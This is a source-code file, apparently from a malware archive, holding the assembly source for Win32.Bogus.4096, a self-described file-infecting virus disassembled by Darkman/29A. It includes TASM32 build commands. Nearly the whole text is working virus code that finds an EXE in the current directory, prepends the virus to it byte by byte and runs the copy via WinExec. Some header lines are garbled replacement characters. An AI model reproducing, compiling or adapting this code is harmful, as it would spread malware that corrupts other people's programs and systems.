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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bogus.asm

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Win32.Bogus.4096 <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Disassembly by <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>
Darkman/29A <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>
Win32.Bogus.4096 is a 4096 bytes runtime/direct action EXE virus. Infects
first file in current directory, when executed, by prepending the virus to
the original EXE file.
Compile Win32.Bogus.4096 with Turbo Assembler v 5.0 by typing:
TASM32 /M /ML /Q BOGUS.ASM
TLINK32 -Tpe -c -x -aa -r BOGUS.OBJ,,, IMPORT32
*
.386
.model flat
; KERNEL32.dll
extrn ExitProcess:proc
extrn FindFirstFileA:proc
extrn WinExec:proc
extrn _lclose:proc
extrn _llseek:proc
extrn _lopen:proc
extrn _lread:proc
extrn _lwrite:proc
extrn CopyFileA:proc
.data
MAX_PATH equ 0ffh
FALSE equ 00h
OF_READWRITE equ 02h ; Opens the file for reading and
; writing
SW_SHOW equ 05h ; Activates the window and displays it
; in its current size and position
FILETIME struct
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
; the file time
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
; the file time
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes DWORD ? ; Specifies the file attributes of the
; file found
ftCreationTime FILETIME <> ; Specifies the time the file was
; created
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
; last accessed
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
; last written to
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
; of the file size, in bytes
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
; of the file size, in bytes
dwReserved0 DWORD ? ; Reserved for future use
dwReserved1 DWORD ? ; Reserved for future use
cFileName BYTE MAX_PATH dup(?)
; A null-terminated string that is the
; name of the file
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
; alternative name for the file
ends
FindFileData WIN32_FIND_DATA <>
szFileName db '*.exe',00h ; Name of file to search for
szNewFileName db 'ZerNeboGus.exe',00h
; Null-terminated string that
; specifies the name of the new file
cBuffer db ? ; Buffer for read data, data to be
; written
cBuffer_ db ? ; Buffer for read data, data to be
; written
.code
code_begin:
lea edi,[esp+10h] ; EDI = pointer to buffer for module
; path
push edi ; EDI = pointer to buffer for module
; path
repne scasb ; Find end of filename
mov byte ptr [edi-01h],'.' ; Store dot
pop edi ; EDI = pointer to buffer for module
; path
push offset FindFileData ; Address of returned information
push offset szFileName ; Address of name of file to search
; for
call FindFirstFileA
push FALSE ; If file already exists, overwrite it
push offset szNewFileName ; Address of filename to copy to
push edi ; Address of name of an existing file
call CopyFileA
push OF_READWRITE ; Opens the file for reading and
; writing
push offset FindFileData.cFileName
; Address of name of file to open
call _lopen
mov esi,eax ; ESI = file handle
push OF_READWRITE ; Opens the file for reading and
; writing
push offset szNewFileName ; Address of filename to copy to
call _lopen
mov edi,eax ; EDI = file handle
xor ebx,ebx ; Number of bytes read and written
mov ebp,0fffff000h ; Number of bytes to move through
; source file
read_write_loop:
push 00h ; Position to move from
push ebx ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer ; Address of buffer for read data
push esi ; Pointer to destination filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer_ ; Address of buffer for read data
push edi ; Pointer to source filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer_ ; Address of buffer for data to be
; written
push esi ; Pointer to destination filename
call _lwrite
push 02h ; Position to move from
push 00h ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer ; Address of buffer for data to be
; written
push esi ; Pointer to destination filename
call _lwrite
push 02h ; Position to move from
push ebp ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer ; Address of buffer for read data
push edi ; Pointer to source filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer ; Address of buffer for data to be
push edi ; Pointer to source filename
call _lwrite
inc ebx ; Increase number of bytes read and
; written
inc ebp ; Increase number of bytes to move
; through source file
cmp bx,1000h ; Read and written all of the virus?
jne read_write_loop ; Not equal? Jump to read_write_loop
push edi ; Handle of file to close
call _lclose
push SW_SHOW ; Activates the window and displays it
; in its current size and position
push offset szNewFileName ; Address of filename to copy to
call WinExec
code_end:
end code_begin
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